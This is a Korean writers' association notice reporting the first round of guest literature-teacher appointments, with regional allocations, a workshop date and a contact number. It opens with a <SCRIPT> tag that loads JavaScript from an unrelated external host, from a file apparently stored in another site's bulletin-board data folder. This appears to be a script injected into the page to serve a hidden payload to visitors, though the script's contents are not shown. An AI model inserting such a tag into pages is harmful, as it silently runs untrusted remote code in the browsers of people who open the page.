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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 객원문예교사 위촉 1차 보고
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많은 회원님이 큰 관심을 보내주셨습니다.
감사드립니다.
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서울/경기 회원님들께는 죄송하다는 말씀을 앞세워야겠습니다.
수도권에서 문예교사 파견을 신청한 학교는 서울 12, 경기 24개교였습니다.
그런데 문화관광부와의 사전 사업 협의에 따라, 소설가협회와 문인협회, 무소속 작가님들을 우선 위촉하다보니, 서울/경기에서는 약간 명의 회원님들만 위촉할 수 있었습니다. 심의팀은 신청하신 회원님들 중에서, 작년에 고생해주셨던 분들을 우선 제외하고도, 많은 회원님들을 다음해 문예교사제나 다른 사업으로 미뤄야만 했습니다. 양해와, 뒤따르게 될 것으로 보이는 여러 가지 사업에 변함없는 관심을, 염치없게도 부탁드립니다.
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소설가협회와 문인협회에 서울/경기를 배려한 대신, 저희 작가회의는 지방 대부분에서 본회 회원을 거의 배정할 수 있게 되었습니다. 모집 공고문에서 완곡히 밝혔었듯이, 작가회의는 이번 2기 문예교사제에서, 어떤 기회가 보다 적을 수밖에 없는 지방의 전업 작가를 우선하고자 했습니다.
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서울/경기 지역에서 문예교사로 고생해주실 분들에게는 5월 31일에 개별적으로 모두 연락을 드렸습니다. 위촉되신 회원님들께서는 6월 4일 오후 3시, 작가회의 세미나실에서 워크샵을 갖고, 학교 담당자 분과 협의하신 후 강의를 진행하시게 됩니다.
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지역의 문예교사로 위촉된 회원에게는 6월 1일부터 연락을 드릴 것이나, 신청학교가 적어 추가 모집 중인 지역이 많으므로, 일정과 연락이 다소 늦어질 수도 있겠습니다. 신청학교 선정이 완료되는 지역은 곧바로 위촉되신 회원님에게 개별적으로 연락을 드리겠습니다.
*조만간 모든 학교와 파견 작가가 선정되면 일괄하여 공고하겠습니다.
*원래는 모든 과정을 공개적으로 밝히려고 했으나, 여러 가지 정황을 고려해서, 구구히 밝히지 않기로 결정했습니다. 그러나 개별적으로 011-264-5485에 전화해주시면 모든 질문에 성실히 답하겠습니다.
-작가회의 사무국장 김종광 올림
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